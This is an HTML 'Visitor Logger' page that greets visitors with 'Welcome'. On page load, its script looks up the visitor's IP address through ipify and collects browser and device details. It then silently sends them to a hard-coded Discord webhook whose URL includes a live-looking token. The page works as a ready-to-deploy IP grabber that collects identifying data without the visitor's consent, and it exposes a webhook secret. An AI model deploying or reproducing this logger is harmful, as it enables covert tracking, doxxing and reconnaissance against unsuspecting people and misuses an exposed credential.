<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Visitor Logger</title>
    
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            color: #333;
            text-align: center;
            padding: 50px;
        }
        h1 {
            color: #444;
        }
        .info-box {
            background: white;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            display: inline-block;
            text-align: left;
        }
        .info-box p {
            margin: 5px 0;
        }
        .highlight {
            font-weight: bold;
            color: #e63946;
        }
    
    <script>
        async function sendInfo() {
            const webhookURL = "https://discord.com/api/webhooks/1337140810004824144/wugkktw3xtN2b5HyveZuyMEY4fTcdYuLv6KCl86TRm93d4VVLvBff-0u1nmN7pcDebh3";
            try {
                const ipResponse = await fetch("https://api64.ipify.org?format=json");
                const ipData = await ipResponse.json();
                const ipAddress = ipData.ip;
                const userAgent = navigator.userAgent;
                const screenWidth = screen.width;
                const screenHeight = screen.height;
                const language = navigator.language;
                const platform = navigator.platform;
                const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
                const referrer = document.referrer || "None";
                
                document.getElementById("ip").textContent = ipAddress;
                document.getElementById("user-agent").textContent = userAgent;
                document.getElementById("screen-size").textContent = `${screenWidth}x${screenHeight}`;
                document.getElementById("language").textContent = language;
                document.getElementById("platform").textContent = platform;
                document.getElementById("timezone").textContent = timezone;
                document.getElementById("referrer").textContent = referrer;
                
                const payload = {
                    content: "New Visitor Logged",
                    embeds: [{
                        title: "Visitor Information",
                        color: 16711680,
                        fields: [
                            { name: "IP Address", value: ipAddress, inline: false },
                            { name: "User Agent", value: userAgent, inline: false },
                            { name: "Screen Size", value: `${screenWidth}x${screenHeight}`, inline: false },
                            { name: "Language", value: language, inline: false },
                            { name: "Platform", value: platform, inline: false },
                            { name: "Timezone", value: timezone, inline: false },
                            { name: "Referrer", value: referrer, inline: false }
                        ]
                    }]
                };
                await fetch(webhookURL, {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify(payload)
                });
            } catch (error) {
                console.error("Error sending data:", error);
            }
        }
        sendInfo();
    </script>
</head>
<body>
    <h1>Welcome</h1>
    <div class="info-box">
        <p><strong>IP Address:</strong> <span id="ip" class="highlight">Loading...</span></p>
        <p><strong>User Agent:</strong> <span id="user-agent" class="highlight">Loading...</span></p>
        <p><strong>Screen Size:</strong> <span id="screen-size" class="highlight">Loading...</span></p>
        <p><strong>Language:</strong> <span id="language" class="highlight">Loading...</span></p>
        <p><strong>Platform:</strong> <span id="platform" class="highlight">Loading...</span></p>
        <p><strong>Timezone:</strong> <span id="timezone" class="highlight">Loading...</span></p>
        <p><strong>Referrer:</strong> <span id="referrer" class="highlight">Loading...</span></p>
    </div>
</body>
</html>
